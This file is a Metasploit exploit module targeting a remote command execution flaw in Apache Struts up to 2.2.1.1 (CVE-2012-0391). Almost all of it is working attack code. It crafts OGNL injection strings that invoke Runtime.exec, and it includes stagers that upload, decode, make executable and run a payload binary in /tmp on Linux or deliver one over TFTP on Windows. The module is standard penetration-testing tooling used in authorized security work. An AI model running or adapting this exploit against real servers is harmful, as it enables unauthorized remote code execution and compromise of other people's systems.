`##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts <= 2.2.1.1 Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.2.1.1. This issue is caused because the
ExceptionDelegator interprets parameter values as OGNL expressions
during certain exception handling for mismatched data types of properties,
which allows remote attackers to execute arbitrary Java code via a
crafted parameter.
},
'Author' =>
[
'Johannes Dahse', # Vulnerability discovery and PoC
'Andreas Nusser', # Vulnerability discovery and PoC
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2012-0391'],
[ 'OSVDB', '78277'],
[ 'EDB', '18329'],
[ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt']
],
'Platform' => [ 'win', 'linux'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DisclosureDate' => 'Jan 06 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
], self.class)
end
def execute_command(cmd, opts = {})
uri = String.new(datastore['TARGETURI'])
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
vprint_status("Attempting to execute: #{cmd}")
resp = send_request_raw({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
}, 5)
end
def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
@payload_exe = payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end
def linux_stager
cmds = "/bin/sh@-c@echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))
execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end
execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")
execute_command("/bin/sh@-c@/tmp/#{file}")
@payload_exe = "/tmp/" + file
end
def on_new_session(client)
if target['Platform'] == 'linux'
print_status("Deleting #{@payload_exe} payload file")
execute_command("/bin/sh@-c@rm #{@payload_exe}")
else
print_status("Windows does not allow running executables to be deleted")
print_status("Delete the #{@payload_exe} file manually after migrating")
end
end
def exploit
if not datastore['CMD'].empty?
print_status("Executing user supplied command")
execute_command(datastore['CMD'])
return
end
case target['Platform']
when 'linux'
linux_stager
when 'win'
windows_stager
else
raise RuntimeError, 'Unsupported target platform!'
end
handler
end
end
`